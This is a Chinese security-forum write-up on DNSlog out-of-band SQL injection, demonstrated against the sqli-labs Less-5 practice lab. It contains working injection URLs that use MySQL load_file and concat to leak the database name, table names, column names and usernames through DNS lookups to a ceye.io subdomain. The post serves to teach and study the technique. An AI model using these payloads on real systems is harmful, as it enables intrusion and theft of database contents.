安全矩阵

 找回密码
 立即注册
搜索
查看: 4585|回复: 0

记录一次简单的dnslog注入

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-11 20:25:59 | 显示全部楼层 |阅读模式
原文链接:记录一次简单的dnslog注入



前言

dnslog注入是在一次面试中,面试官告诉我的,在只有盲注,无回显的情况下,利用dnslog可以极大的提升拖库的效率

背景知识


什么是DNS?

DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如14.215.177.38,使用户可以访问这台服务器上相应的服务。

什么是DNSlog
DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

攻击原理



如图,攻击者首先提交注入语句select load_file(concat('\\\\','user()',.XXX.ceye.io\\abc))
在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析。
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
可能会有些不太好理解,通过实战来感受一下吧

演示
演示条件:获取数据库的root权限;设置my.ini配置secure_file_priv=""


http://www.dnslog.cn
这是一个免费的记录dnslog的平台,这个可以不用注册就得到一个二级域名,有个缺点就是这个网站偶尔会愣住。。。


http://ceye.io
这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。

操作之前先打开MYSQL命令行show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为C:\,就可以读取C盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
要改变load_file()可以读取的范围可以去my.ini设置
secure_file_priv="" ——为空
secure_file_priv="C:\" ——可以读取C盘
my.ini中没有secure_file_priv ——为NULL

这里用sqllab第五关作为注入的目标

构造payload先获取库名:http://127.0.0.1/sqllab/Less-5/?id=1' and if ((select load_file(concat('\\\\',(select database()),'.wfmdo4.ceye.io\\abc'))),0,1)--+
在地址栏中输入上面的url然后打开dnslog平台查看日志信息,就可以看到想要的信息了

接着再获取表名:http://127.0.0.1/sqllab/Less-5/?id=1' and if ((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.wfmdo4.ceye.io\\abc'))),1,1)--+
可以通过修改limit后面的参数来得到想要的表名。

当limit 3,1时可以得到一个users的表

获取列名:http://127.0.0.1/sqllab/Less-5/?id=1' and if ((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'.wfmdo4.ceye.io\\abc'))),1,1)--+

获取所需的表名和列名后就可以开始获得里头的信息了:http://127.0.0.1/sqllab/Less-5/?id=1' and if ((select load_file(concat('\\\\',(select username from users limit 0,1),'.wfmdo4.ceye.io\\abc'))),1,1)--+


遇到的问题
1、打开MYSQL命令行的时候提示mysql: unknown variable 'character-set-server=utf8'
解决方法:

2、在最开始查询users表里的列名的时候用的是别人的payload:http://127.0.0.1/sqllab/Less-5/?id=1' and if ((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.wfmdo4.ceye.io\\abc'))),1,1)--+出现了一个这个表里没有的列名login,后来发现是因为别的数据库中也有users表
解决方法:在查询语句中的where table_name=’users’改为where table_schema=’security’ and table_name=’users’


自省

1、有关SQL语句的知识还要加强
2、知识面还是太狭隘了,要多去接触些大牛,看看他们的教学视频,总有些意想不到的收获


参考来源:https://www.jianshu.com/p/d6788f57dba5
https://www.cnblogs.com/afanti/p/8047530.html
最后再感谢下那位面试官的指点



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:38 , Processed in 0.012994 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表